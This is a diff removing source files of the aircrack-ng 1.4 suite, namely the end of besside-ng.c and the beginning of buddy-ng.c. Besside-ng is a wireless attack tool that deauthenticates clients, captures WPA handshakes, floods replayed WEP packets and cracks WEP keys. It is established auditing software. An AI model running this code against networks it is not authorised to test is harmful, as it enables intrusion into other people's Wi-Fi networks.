-			c->c_wpa_got |= 1;
-			break;
-
-		case 2:
-			c->c_wpa_got |= 2;
-			c->c_wpa_got |= 4;
-			break;
-
-		case 3:
-			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1;
-
-			c->c_wpa_got |= 4;
-			break;
-
-		case 4:
-			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2;
-
-			c->c_wpa_got |= 4;
-			break;
-
-		default:
-			abort();
-	}
-
-	packet_copy(&c->c_handshake[num - 1], wh, totlen);
-
-	time_printf(V_VERBOSE,
-				"Got WPA handshake step %d (have %d) for %s\n",
-				num,
-				c->c_wpa_got,
-				n->n_ssid);
-
-	if (c->c_wpa_got == 7)
-	{
-		n->n_client_handshake = c;
-
-		time_printf(
-			V_NORMAL, "Got necessary WPA handshake info for %s\n", n->n_ssid);
-
-		n->n_client_mac = c;
-		found_mac(n);
-
-		if (n->n_ssid[0])
-		{
-			n->n_astate = ASTATE_WPA_CRACK;
-			attack_continue(n);
-		}
-	}
-}
-
-static int is_replayable(struct ieee80211_frame * wh, int len)
-{
-	unsigned char clear[2048];
-	int dlen = len - 4 - 4;
-	int clearsize;
-	int weight[16];
-
-	known_clear(clear, &clearsize, weight, (void *) wh, dlen);
-	if (clearsize < 16) return 0;
-
-	return 1;
-}
-
-static void get_replayable(struct network * n,
-						   struct ieee80211_frame * wh,
-						   unsigned char * body,
-						   int len)
-{
-	if (!is_replayable(wh, len)) return;
-
-	if (n->n_replay_len) return;
-
-	n->n_replay_got = 0;
-
-	assert(len + sizeof(*wh) <= (int) sizeof(n->n_replay));
-
-	memcpy(&n->n_replay[sizeof(*wh)], body, len);
-	n->n_replay_len = len + sizeof(*wh);
-
-	wh = (struct ieee80211_frame *) n->n_replay;
-	fill_basic(n, wh);
-	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
-	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr3));
-	memcpy(wh->i_addr3, BROADCAST, sizeof(wh->i_addr3));
-
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
-	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
-
-	time_printf(V_NORMAL,
-				"Got replayable packet for %s [len %d]\n",
-				n->n_ssid,
-				len - 4 - 4);
-
-	if (_state.s_state == STATE_ATTACK && _state.s_curnet == n
-		&& n->n_astate == ASTATE_WEP_PRGA_GET)
-		attack_continue(n);
-}
-
-static void
-check_replay(struct network * n, struct ieee80211_frame * wh, int len)
-{
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
-		|| n->n_astate != ASTATE_WEP_FLOOD)
-		return;
-
-	if (!(wh->i_fc[1] |= IEEE80211_FC1_DIR_FROMDS)) return;
-
-	if (memcmp(wh->i_addr3, _state.s_mac, sizeof(wh->i_addr3)) != 0) return;
-
-	if (len != (int) (n->n_replay_len - sizeof(*wh))) return;
-
-	n->n_replay_got++;
-	memcpy(&n->n_replay_last, &_state.s_now, sizeof(n->n_replay_last));
-
-	// ack clocked
-	do_flood(n);
-}
-
-static void
-do_wep_crack(struct cracker * c, struct network * n, int len, int limit)
-{
-	ssize_t unused;
-
-	unsigned char key[PTW_KEYHSBYTES];
-	int(*all)[256];
-	int i, j;
-
-	all = xmalloc(256 * 32 * sizeof(int));
-
-	// initial setup (complete keyspace)
-	for (i = 0; i < 32; i++)
-	{
-		for (j = 0; j < 256; j++) all[i][j] = 1;
-	}
-
-	if (PTW_computeKey(n->n_ptw, key, len, limit, PTW_DEFAULTBF, all, 0) != 1)
-		return;
-
-	unused = write(c->cr_pipe[1], key, len);
-}
-
-static void crack_wep64(struct cracker * c, struct network * n)
-{
-	do_wep_crack(c, n, 5, KEYLIMIT / 10);
-}
-
-static void crack_wep128(struct cracker * c, struct network * n)
-{
-	do_wep_crack(c, n, 13, KEYLIMIT);
-}
-
-static void cracker_start(struct cracker * c, cracker_cb cb, struct network * n)
-{
-	if (pipe(c->cr_pipe) == -1) err(1, "pipe()");
-
-	c->cr_pid = fork();
-	if (c->cr_pid == -1) err(1, "fork()");
-
-	if (c->cr_pid)
-	{
-		/* parent */
-		close(c->cr_pipe[1]);
-	}
-	else
-	{
-		/* child */
-		close(c->cr_pipe[0]);
-		cb(c, n);
-		exit(0);
-	}
-}
-
-static void wep_crack_start(struct network * n)
-{
-	cracker_kill(&n->n_cracker_wep[0]);
-	cracker_kill(&n->n_cracker_wep[1]);
-
-	cracker_start(&n->n_cracker_wep[0], crack_wep64, n);
-	cracker_start(&n->n_cracker_wep[1], crack_wep128, n);
-}
-
-static void wep_crack(struct network * n)
-{
-	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
-		|| n->n_astate != ASTATE_WEP_FLOOD)
-	{
-		n->n_crack_next = n->n_data_count + 1;
-		return;
-	}
-
-	wep_crack_start(n);
-
-	n->n_crack_next += _conf.cf_crack_int;
-}
-
-static int ptw_add(struct network * n,
-				   struct ieee80211_frame * wh,
-				   unsigned char * body,
-				   int len)
-{
-	unsigned char clear[2048];
-	int dlen = len - 4 - 4;
-	int clearsize;
-	int i, weight[16], k, j;
-	int rc = 0;
-
-	k = known_clear(clear, &clearsize, weight, (void *) wh, dlen);
-	if (clearsize < 16) return rc;
-
-	for (j = 0; j < k; j++)
-	{
-		for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
-	}
-
-	if (!n->n_ptw)
-	{
-		n->n_ptw = PTW_newattackstate();
-		if (!n->n_ptw) err(1, "PTW_newattackstate()");
-	}
-
-	if (PTW_addsession(n->n_ptw, body, clear, weight, k))
-	{
-		speed_add(&n->n_flood_in);
-		n->n_data_count++;
-		rc = 1;
-	}
-
-	if (n->n_data_count == n->n_crack_next) wep_crack(n);
-
-	return rc;
-}
-
-static void ptw_free(struct network * n)
-{
-	if (n->n_ptw)
-	{
-		PTW_freeattackstate(n->n_ptw);
-		n->n_ptw = NULL;
-	}
-}
-
-static void wifi_data(struct network * n, struct ieee80211_frame * wh, int len)
-{
-	unsigned char * p = (unsigned char *) (wh + 1);
-	struct llc * llc;
-	int wep = wh->i_fc[1] & IEEE80211_FC1_WEP;
-	int eapol = 0;
-	struct client * c;
-	int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
-	int orig = len;
-
-	assert(n);
-
-	len -= sizeof(*wh);
-
-	if (stype == IEEE80211_FC0_SUBTYPE_QOS)
-	{
-		p += 2;
-		len -= 2;
-	}
-
-	if (!wep && len >= 8)
-	{
-		llc = (struct llc *) p;
-
-		eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0;
-
-		p += 8;
-		len -= 8;
-	}
-
-	if (!wep && !eapol) return;
-
-	if (!n->n_have_beacon)
-	{
-		n->n_chan = _state.s_chan;
-		n->n_crypto = eapol ? CRYPTO_WPA : CRYPTO_WEP;
-
-		/* XXX */
-		if (n->n_crypto == CRYPTO_WEP && p[3] != 0) n->n_crypto = CRYPTO_WPA;
-	}
-
-	if (eapol)
-	{
-		c = client_get(n, wh);
-
-		/* c can be null if using our MAC (e.g., VAPs) */
-		if (c) process_eapol(n, c, p, len, wh, orig);
-		return;
-	}
-
-	if (n->n_crypto != CRYPTO_WEP)
-	{
-		ptw_free(n);
-		return;
-	}
-
-	if (len < (4 + 4)) return;
-
-	if (n->n_astate == ASTATE_DONE) return;
-
-	get_replayable(n, wh, p, len);
-
-	check_replay(n, wh, len);
-
-	if (ptw_add(n, wh, p, len))
-	{
-		if (n->n_have_beacon && !n->n_beacon_wrote)
-		{
-			packet_write_pcap(_state.s_wepfd, &n->n_beacon);
-
-			n->n_beacon_wrote = 1;
-		}
-
-		write_pcap(_state.s_wepfd, wh, orig);
-	}
-}
-
-static struct network * network_update(struct ieee80211_frame * wh)
-{
-	struct network * n;
-	struct client * c = NULL;
-	unsigned char * bssid;
-	int fromnet;
-
-	bssid = get_bssid(wh);
-	if (!bssid) return NULL;
-
-	n = network_get(wh);
-	if (!n) n = network_add(wh);
-
-	assert(n);
-
-	if ((fromnet = (memcmp(wh->i_addr2, bssid, sizeof(wh->i_addr2)) == 0)))
-		n->n_dbm = _state.s_ri->ri_power;
-
-	c = client_update(n, wh);
-	if (c && !fromnet) c->c_dbm = _state.s_ri->ri_power;
-
-	return n;
-}
-
-static void wifi_read(void)
-{
-	struct state * s = &_state;
-	unsigned char buf[2048];
-	int rd;
-	struct rx_info ri;
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	struct network * n;
-
-	memset(buf, 0, sizeof(buf));
-
-	rd = wi_read(s->s_wi, buf, sizeof(buf), &ri);
-	if (rd < 0) err(1, "wi_read()");
-
-	if (rd < sizeof(struct ieee80211_frame))
-	{
-		return;
-	}
-
-	s->s_ri = &ri;
-
-	n = network_update(wh);
-
-	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
-	{
-		case IEEE80211_FC0_TYPE_MGT:
-			wifi_mgt(n, wh, rd);
-			break;
-
-		case IEEE80211_FC0_TYPE_CTL:
-			wifi_ctl(wh, rd);
-			break;
-
-		case IEEE80211_FC0_TYPE_DATA:
-			wifi_data(n, wh, rd);
-			break;
-
-		default:
-			printf("Unknown type %d\n", wh->i_fc[0]);
-	}
-}
-
-static const char * astate2str(int astate)
-{
-	static char num[16];
-	static char * states[] = {"NONE",
-							  "PING",
-							  "READY",
-							  "DEAUTH",
-							  "WPA_CRACK",
-							  "GET REPLAY",
-							  "FLOOD",
-							  "NONE",
-							  "DONE"};
-
-	if (astate >= (int) (sizeof(states) / sizeof(*states)))
-	{
-		snprintf(num, sizeof(num), "%d", astate);
-		return num;
-	}
-
-	return states[astate];
-}
-
-static const char * wstate2str(int astate)
-{
-	static char num[16];
-	static char * states[] = {"NONE", "AUTH", "ASSOC"};
-
-	if (astate >= (int) (sizeof(states) / sizeof(*states)))
-	{
-		snprintf(num, sizeof(num), "%d", astate);
-		return num;
-	}
-
-	return states[astate];
-}
-
-static void print_status(int advance)
-{
-	static char status[] = "|/-|/-\\";
-	static char * statusp = status;
-	struct network * n = _state.s_curnet;
-	struct client * c;
-	int ccount = 0;
-
-	time_printf(V_NORMAL, "%c", *statusp);
-
-	switch (_state.s_state)
-	{
-		case STATE_SCAN:
-			printf(" Scanning chan %.2d", _state.s_chan);
-			break;
-
-		case STATE_ATTACK:
-			printf(" Attacking [%s] %s - %s",
-				   n->n_ssid,
-				   n->n_crypto == CRYPTO_WPA ? "WPA" : "WEP",
-				   astate2str(n->n_astate));
-
-			if (need_connect(n) && n->n_wstate != WSTATE_ASSOC)
-				printf(" [conn: %s]", wstate2str(n->n_wstate));
-
-			switch (n->n_astate)
-			{
-				case ASTATE_WEP_FLOOD:
-					if (n->n_cracker_wep[0].cr_pid
-						|| n->n_cracker_wep[1].cr_pid)
-						printf(" cracking");
-
-					speed_calculate(&n->n_flood_in);
-					speed_calculate(&n->n_flood_out);
-
-					printf(" - %d IVs rate %u [%u PPS out] len %d",
-						   n->n_data_count,
-						   n->n_flood_in.s_speed,
-						   n->n_flood_out.s_speed,
-						   (int) (n->n_replay_len
-								  - sizeof(struct ieee80211_frame)
-								  - 4
-								  - 4));
-					break;
-
-				case ASTATE_DEAUTH:
-					c = n->n_clients.c_next;
-					while (c)
-					{
-						ccount++;
-
-						c = c->c_next;
-					}
-
-					if (ccount) printf(" (know %d clients)", ccount);
-					break;
-			}
-
-			break;
-	}
-
-	printf("\r");
-	fflush(stdout);
-
-	if (advance) statusp++;
-
-	if (statusp >= (&status[sizeof(status) - 1])) statusp = status;
-}
-
-static void make_progress(void)
-{
-	if (_state.s_state == STATE_SCAN && _state.s_hopcycles > 2)
-	{
-		print_work();
-		attack_next();
-		_state.s_hopcycles = 0;
-	}
-}
-
-static void cracker_check(struct network * n, struct cracker * c)
-{
-	unsigned char buf[1024];
-	int rc;
-
-	rc = read(c->cr_pipe[0], buf, sizeof(buf));
-	if (rc <= 0)
-	{
-		cracker_kill(c);
-		return;
-	}
-
-	assert(rc <= (int) sizeof(n->n_key));
-
-	memcpy(n->n_key, buf, rc);
-	n->n_key_len = rc;
-
-	time_printf(V_NORMAL, "Got key for %s [", n->n_ssid);
-	print_hex(n->n_key, n->n_key_len);
-	printf("] %d IVs\n", n->n_data_count);
-
-	cracker_kill(&n->n_cracker_wep[0]);
-	cracker_kill(&n->n_cracker_wep[1]);
-
-	n->n_astate = ASTATE_DONE;
-	ptw_free(n);
-	attack_continue(n);
-}
-
-static int add_cracker_fds(fd_set * fds, int max)
-{
-	struct network * n;
-	int i;
-
-	if (_state.s_state != STATE_ATTACK) return max;
-
-	n = _state.s_curnet;
-
-	for (i = 0; i < 2; i++)
-	{
-		struct cracker * c = &n->n_cracker_wep[i];
-
-		if (c->cr_pipe[0])
-		{
-			FD_SET(c->cr_pipe[0], fds);
-
-			if (c->cr_pipe[0] > max) max = c->cr_pipe[0];
-		}
-	}
-
-	return max;
-}
-
-static void check_cracker_fds(fd_set * fds)
-{
-	struct network * n;
-	struct cracker * c;
-	int i;
-
-	if (_state.s_state != STATE_ATTACK) return;
-
-	n = _state.s_curnet;
-
-	for (i = 0; i < 2; i++)
-	{
-		c = &n->n_cracker_wep[i];
-
-		if (c->cr_pipe[0] && FD_ISSET(c->cr_pipe[0], fds)) cracker_check(n, c);
-	}
-}
-
-static char * strip_spaces(char * p)
-{
-	char * x;
-
-	while (*p == ' ') p++;
-
-	x = p + strlen(p) - 1;
-	while (x >= p && *x == ' ') *x-- = 0;
-
-	return p;
-}
-
-static int parse_hex(unsigned char * out, char * in, int l)
-{
-	int len = 0;
-
-	while (in)
-	{
-		char * p = strchr(in, ':');
-		int x;
-
-		if (--l < 0) err(1, "parse_hex len");
-
-		if (p) *p++ = 0;
-
-		if (sscanf(in, "%x", &x) != 1) errx(1, "parse_hex()");
-
-		*out++ = (unsigned char) x;
-		len++;
-
-		in = p;
-	}
-
-	return len;
-}
-
-static void resume_network(char * buf)
-{
-	char *p = buf, *p2;
-	int state = 0;
-	struct network * n;
-
-	if (buf[0] == '#') return;
-
-	n = network_new();
-
-	while (1)
-	{
-		p2 = strchr(p, '|');
-
-		if (!p2)
-		{
-			p2 = strchr(p, '\n');
-			if (!p2) break;
-		}
-
-		*p2++ = 0;
-
-		p = strip_spaces(p);
-
-		switch (state)
-		{
-			/* ssid */
-			case 0:
-				strncpy(n->n_ssid, p, sizeof(n->n_ssid));
-				(n->n_ssid)[sizeof(n->n_ssid) - 1] = '\0';
-				break;
-
-			/* key */
-			case 1:
-				if (strstr(p, "handshake"))
-				{
-					n->n_crypto = CRYPTO_WPA;
-					n->n_client_handshake = (void *) 0xbad;
-				}
-				else if (strchr(p, ':'))
-				{
-					n->n_crypto = CRYPTO_WEP;
-
-					n->n_key_len = parse_hex(n->n_key, p, sizeof(n->n_key));
-				}
-
-				if (n->n_crypto != CRYPTO_NONE)
-				{
-					n->n_have_beacon = 1;
-					n->n_astate = ASTATE_DONE;
-				}
-				break;
-
-			/* bssid */
-			case 2:
-				parse_hex(n->n_bssid, p, sizeof(n->n_bssid));
-				break;
-
-			case 3:
-				if (*p)
-				{
-					struct client * c = xmalloc(sizeof(*c));
-
-					memset(c, 0, sizeof(*c));
-
-					parse_hex(c->c_mac, p, sizeof(c->c_mac));
-
-					n->n_client_mac = c;
-					n->n_got_mac = 1;
-				}
-				break;
-		}
-
-		state++;
-		p = p2;
-	}
-
-	if (n->n_astate != ASTATE_DONE)
-	{
-		free(n);
-		return;
-	}
-
-	do_network_add(n);
-
-	network_print(n);
-}
-
-static void resume(void)
-{
-	FILE * f;
-	char buf[4096];
-
-	f = fopen(_conf.cf_log, "r");
-	if (!f) return;
-
-	time_printf(V_NORMAL, "Resuming from %s\n", _conf.cf_log);
-
-	while (fgets(buf, sizeof(buf), f)) resume_network(buf);
-
-	fclose(f);
-}
-
-static void cleanup(int UNUSED(x))
-{
-	struct state * s = &_state;
-	struct network * n;
-
-	printf("\nDying...\n");
-
-	wi_close(s->s_wi);
-
-	if (_state.s_state == STATE_ATTACK)
-	{
-		n = _state.s_curnet;
-		assert(n);
-		cracker_kill(&n->n_cracker_wep[0]);
-		cracker_kill(&n->n_cracker_wep[1]);
-	}
-
-	if (_state.s_wpafd) close(_state.s_wpafd);
-
-	if (_state.s_wepfd) close(_state.s_wepfd);
-
-	print_work();
-
-	exit(0);
-}
-
-static void pwn(void)
-{
-	struct state * s = &_state;
-	struct timeval tv;
-	fd_set fds;
-	int wifd, max, rc;
-
-	if (!(s->s_wi = wi_open(_conf.cf_ifname))) err(1, "wi_open()");
-
-	if (wi_get_mac(s->s_wi, _state.s_mac) == -1) err(1, "wi_get_mac()");
-
-	gettimeofday(&_state.s_now, NULL);
-	memcpy(&_state.s_start, &_state.s_now, sizeof(_state.s_start));
-
-	wifd = wi_fd(s->s_wi);
-	max = wifd;
-
-	time_printf(V_VERBOSE, "mac %s\n", mac2str(_state.s_mac));
-	time_printf(V_NORMAL, "Let's ride\n");
-
-	if (wi_set_channel(s->s_wi, _state.s_chan) == -1)
-		err(1, "wi_set_channel()");
-
-	resume();
-
-	_state.s_wpafd = open_pcap(_conf.cf_wpa);
-	_state.s_wepfd = open_pcap(_conf.cf_wep);
-
-	save_log();
-	time_printf(V_NORMAL, "Logging to %s\n", _conf.cf_log);
-
-	scan_start();
-
-	while (s->s_state != STATE_DONE)
-	{
-		timer_next(&tv);
-
-		FD_ZERO(&fds);
-		FD_SET(wifd, &fds);
-
-		max = add_cracker_fds(&fds, max);
-
-		if ((rc = select(max + 1, &fds, NULL, NULL, &tv)) == -1
-			&& errno != EINTR)
-			err(1, "select()");
-
-		gettimeofday(&_state.s_now, NULL);
-
-		check_cracker_fds(&fds);
-
-		print_status(FD_ISSET(wifd, &fds));
-
-		if (FD_ISSET(wifd, &fds)) wifi_read();
-
-		timer_check();
-
-		make_progress();
-	}
-
-	time_printf(V_NORMAL, "All neighbors owned\n");
-
-	cleanup(0);
-}
-
-static void channel_add(int num)
-{
-	struct channel * c = xmalloc(sizeof(*c));
-	struct channel * pos = _conf.cf_channels.c_next;
-
-	while (pos->c_next != _conf.cf_channels.c_next) pos = pos->c_next;
-
-	memset(c, 0, sizeof(*c));
-
-	pos->c_next = c;
-
-	c->c_num = num;
-	c->c_next = _conf.cf_channels.c_next;
-}
-
-static void init_conf(void)
-{
-	int i;
-
-	_conf.cf_channels.c_next = &_conf.cf_channels;
-
-	for (i = 1; i <= 11; i++) channel_add(i);
-
-	_state.s_hopchan = _conf.cf_channels.c_next;
-
-	_conf.cf_hopfreq = 250;
-	_conf.cf_deauthfreq = 2500;
-	_conf.cf_attackwait = 10;
-	_conf.cf_floodwait = 60;
-	_conf.cf_to = 100;
-	_conf.cf_floodfreq = 10 * 1000;
-	_conf.cf_crack_int = 5000;
-	_conf.cf_wpa = "wpa.cap";
-	_conf.cf_wep = "wep.cap";
-	_conf.cf_log = "besside.log";
-	_conf.cf_do_wep = 1;
-	_conf.cf_do_wpa = 1;
-}
-
-static const char * timer_cb2str(timer_cb cb)
-{
-	if (cb == hop)
-		return "hop";
-	else if (cb == attack_watchdog)
-		return "attack_watchdog";
-	else if (cb == deauth)
-		return "deauth";
-	else
-		return "UNKNOWN";
-}
-
-static void print_state_network(struct network * n)
-{
-	struct client * c = n->n_clients.c_next;
-
-	printf("Network: [%s] chan %d bssid %s astate %d dbm %d"
-		   " have_beacon %d crypto %d",
-		   n->n_ssid,
-		   n->n_chan,
-		   mac2str(n->n_bssid),
-		   n->n_astate,
-		   n->n_dbm,
-		   n->n_have_beacon,
-		   n->n_crypto);
-
-	if (n->n_key_len)
-	{
-		printf(" KEY [");
-		print_hex(n->n_key, n->n_key_len);
-		printf("]");
-	}
-
-	printf("\n");
-
-	while (c)
-	{
-		printf("\tClient: %s wpa_got %d dbm %d\n",
-			   mac2str(c->c_mac),
-			   c->c_wpa_got,
-			   c->c_dbm);
-
-		c = c->c_next;
-	}
-}
-
-static void print_state(int UNUSED(x))
-{
-	struct state * s = &_state;
-	struct network * n = s->s_curnet;
-	struct channel * c = s->s_hopchan;
-	struct channel * c2 = c;
-	struct timer * t = s->s_timers.t_next;
-
-	printf("\n=============== Internal state ============\n");
-	printf("State:\t%d\n", s->s_state);
-
-	if (s->s_state == STATE_ATTACK)
-	{
-		printf("Current attack network: [%s] %s\n",
-			   n->n_ssid,
-			   mac2str(n->n_bssid));
-	}
-
-	n = _state.s_networks.n_next;
-	while (n)
-	{
-		print_state_network(n);
-		n = n->n_next;
-	}
-
-	printf("Current chan: %d\n", s->s_chan);
-	printf("Hop cycle %u chans:", s->s_hopcycles);
-	do
-	{
-		printf(" %d", c->c_num);
-		c = c->c_next;
-
-		if (c != c2) printf(",");
-
-	} while (c != c2);
-	printf("\n");
-
-	printf(
-#if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
-		"Now: %lu.%lu\n",
-#else
-		"Now: %lu.%d\n",
-#endif
-		s->s_now.tv_sec,
-		s->s_now.tv_usec);
-
-	while (t)
-	{
-		printf(
-#if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
-			"Timer: %lu.%lu %p[%s](%p)\n",
-#else
-			"Timer: %lu.%d %p[%s](%p)\n",
-#endif
-			t->t_tv.tv_sec,
-			t->t_tv.tv_usec,
-			t->t_cb,
-			timer_cb2str(t->t_cb),
-			t->t_arg);
-
-		t = t->t_next;
-	}
-
-	print_work();
-
-	printf("===========================================\n");
-}
-
-static void usage(char * prog)
-{
-	char * version_info
-		= getVersion("Besside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-	printf("\n"
-		   "  %s - (C) 2010 Andrea Bittau\n"
-		   "  https://www.aircrack-ng.org\n"
-		   "\n"
-		   "  Usage: %s [options] <interface>\n"
-		   "\n"
-		   "  Options:\n"
-		   "\n"
-		   "       -b <victim mac> : Victim BSSID\n"
-#ifdef HAVE_PCRE
-		   "       -R <victim ap regex> : Victim ESSID regex\n"
-#endif
-		   "       -s <WPA server> : Upload wpa.cap for cracking\n"
-		   "       -c       <chan> : chanlock\n"
-		   "       -p       <pps>  : flood rate\n"
-		   "       -W              : WPA only\n"
-		   "       -v              : verbose, -vv for more, etc.\n"
-		   "       -h              : This help screen\n"
-		   "\n",
-		   version_info,
-		   prog);
-	free(version_info);
-	exit(1);
-}
-
-int main(int argc, char * argv[])
-{
-	int ch, temp;
-#ifdef HAVE_PCRE
-	const char * pcreerror;
-	int pcreerroffset;
-#endif
-
-	init_conf();
-
-	while ((ch = getopt(argc, argv, "hb:vWs:c:p:R:")) != -1)
-	{
-		switch (ch)
-		{
-			case 's':
-				_conf.cf_wpa_server = optarg;
-				break;
-
-			case 'W':
-				_conf.cf_do_wep = 0;
-				break;
-
-			case 'p':
-				temp = atoi(optarg);
-				if (temp <= 0)
-				{
-					printf("Invalid flood rate value, must be > 0");
-					exit(1);
-				}
-				_conf.cf_floodfreq
-					= (int) (1.0 / (double) temp * 1000.0 * 1000.0);
-				break;
-
-			case 'c':
-				// XXX leak
-				_conf.cf_channels.c_next = &_conf.cf_channels;
-				temp = atoi(optarg);
-				if (temp <= 0)
-				{
-					printf("Invalid channel, must be > 0\n");
-					exit(1);
-				}
-				channel_add(temp);
-				_state.s_hopchan = _conf.cf_channels.c_next;
-				break;
-
-			case 'v':
-				_conf.cf_verb++;
-				break;
-
-			case 'b':
-				_conf.cf_bssid = xmalloc(6);
-				parse_hex(_conf.cf_bssid, optarg, 6);
-				break;
-
-#ifdef HAVE_PCRE
-			case 'R':
-				if (_conf.cf_essid_regex != NULL)
-				{
-					printf("Error: ESSID regular expression already given. "
-						   "Aborting\n");
-					exit(1);
-				}
-
-				_conf.cf_essid_regex
-					= pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL);
-
-				if (_conf.cf_essid_regex == NULL)
-				{
-					printf("Error: regular expression compilation failed at "
-						   "offset %d: %s; aborting\n",
-						   pcreerroffset,
-						   pcreerror);
-					exit(1);
-				}
-				break;
-#endif
-
-			default:
-			case 'h':
-				usage(argv[0]);
-				break;
-		}
-	}
-
-	if (optind <= argc) _conf.cf_ifname = argv[optind];
-
-	if (!_conf.cf_ifname)
-	{
-		printf("Gimme an interface name dude\n");
-		usage(argv[0]);
-	}
-
-	signal(SIGINT, cleanup);
-	signal(SIGKILL, cleanup);
-	signal(SIGUSR1, print_state);
-	signal(SIGCHLD, do_wait);
-
-	pwn();
-
-#ifdef HAVE_PCRE
-	if (_conf.cf_essid_regex) pcre_free(_conf.cf_essid_regex);
-#endif
-
-	exit(0);
-}

aircrack-ng-1.4.tar.gz/src/buddy-ng.c Deleted

@@ -1,282 +0,0 @@
-/*
-  *  Copyright (c) 2007-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/param.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <err.h>
-#include <unistd.h>
-#include <string.h>
-#include <arpa/inet.h>
-#include <netinet/in.h>
-#include <netinet/in_systm.h>
-#include <netinet/ip.h>
-#include <netinet/udp.h>
-#include <assert.h>
-#include <grp.h>
-#include <sys/utsname.h>
-
-#ifdef __NetBSD__
-#include <sys/select.h>
-#endif
-
-#include "easside.h"
-#include "version.h"
-
-unsigned char ids[8192];
-unsigned short last_id;
-int wrap;
-
-static int is_dup(unsigned short id)
-{
-	int idx = id / 8;
-	int bit = id % 8;
-	unsigned char mask = (1 << bit);
-
-	if (ids[idx] & mask) return 1;
-
-	ids[idx] |= mask;
-	return 0;
-}
-
-static int
-handle(int s, unsigned char * data, int len, struct sockaddr_in * s_in)
-{
-	char buf[2048];
-	unsigned short * cmd = (unsigned short *) buf;
-	int plen;
-	struct in_addr * addr = &s_in->sin_addr;
-	unsigned short * pid = (unsigned short *) data;
-
-	/* inet check */
-	if (len == S_HELLO_LEN && memcmp(data, "sorbo", 5) == 0)
-	{
-		unsigned short * id = (unsigned short *) (data + 5);
-		int x = 2 + 4 + 2;
-
-		*cmd = htons(S_CMD_INET_CHECK);
-		memcpy(cmd + 1, addr, 4);
-		memcpy(cmd + 1 + 2, id, 2);
-
-		printf("Inet check by %s %d\n", inet_ntoa(*addr), ntohs(*id));
-		if (send(s, buf, x, 0) != x) return 1;
-
-		return 0;
-	}
-
-	*cmd++ = htons(S_CMD_PACKET);
-	*cmd++ = *pid;
-	plen = len - 2;
-	if (plen < 0) return 0;
-
-	last_id = ntohs(*pid);
-	if (last_id > 20000) wrap = 1;
-	if (wrap && last_id < 100)
-	{
-		wrap = 0;
-		memset(ids, 0, sizeof(ids));
-	}
-
-	printf("Got packet %d %d", last_id, plen);
-	if (is_dup(last_id))
-	{
-		printf(" (DUP)\n");
-		return 0;
-	}
-	printf("\n");
-
-	*cmd++ = htons(plen);
-	memcpy(cmd, data + 2, plen);
-
-	plen += 2 + 2 + 2;
-	assert(plen <= (int) sizeof(buf));
-	if (send(s, buf, plen, 0) != plen) return 1;
-
-	return 0;
-}
-
-static void handle_dude(int dude, int udp)
-{
-	unsigned char buf[2048];
-	int rc;
-	fd_set rfds;
-	int maxfd;
-	struct sockaddr_in s_in;
-	socklen_t len;
-
-	/* handshake */
-	rc = recv(dude, buf, 5, 0);
-	if (rc != 5)
-	{
-		close(dude);
-		return;
-	}
-
-	if (memcmp(buf, "sorbo", 5) != 0)
-	{
-		close(dude);
-		return;
-	}
-
-	if (send(dude, "sorbox", 6, 0) != 6)
-	{
-		close(dude);
-		return;
-	}
-
-	printf("Handshake complete\n");
-	memset(ids, 0, sizeof(ids));
-	last_id = 0;
-	wrap = 0;
-
-	while (1)
-	{
-		FD_ZERO(&rfds);
-		FD_SET(udp, &rfds);
-		FD_SET(dude, &rfds);
-
-		if (dude > udp)
-			maxfd = dude;
-		else
-			maxfd = udp;
-
-		if (select(maxfd + 1, &rfds, NULL, NULL, NULL) == -1)
-			err(1, "select()");
-
-		if (FD_ISSET(dude, &rfds)) break;
-
-		if (!FD_ISSET(udp, &rfds)) continue;
-
-		len = sizeof(s_in);
-		rc = recvfrom(
-			udp, buf, sizeof(buf), 0, (struct sockaddr *) &s_in, &len);
-		if (rc == -1) err(1, "read()");
-
-		if (handle(dude, buf, rc, &s_in)) break;
-	}
-	close(dude);
-}
-
-static void drop_privs(void)
-{
-	if (chroot(".") == -1) err(1, "chroot()");
-
-	if (setgroups(0, NULL) == -1) err(1, "setgroups()");
-
-	if (setgid(69) == -1) err(1, "setgid()");
-
-	if (setuid(69) == -1) err(1, "setuid()");
-}
-
-static void usage(void)
-{
-	char * version_info
-		= getVersion("Buddy-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-	printf("\n"
-		   "  %s - (C) 2007,2008 Andrea Bittau\n"
-		   "  https://www.aircrack-ng.org\n"
-		   "\n"
-		   "  Usage: buddy-ng <options>\n"
-		   "\n"
-		   "  Options:\n"
-		   "\n"
-		   "       -h        : This help screen\n"
-		   "       -p        : Don't drop privileges\n"
-		   "\n",
-		   version_info);
-	free(version_info);
-
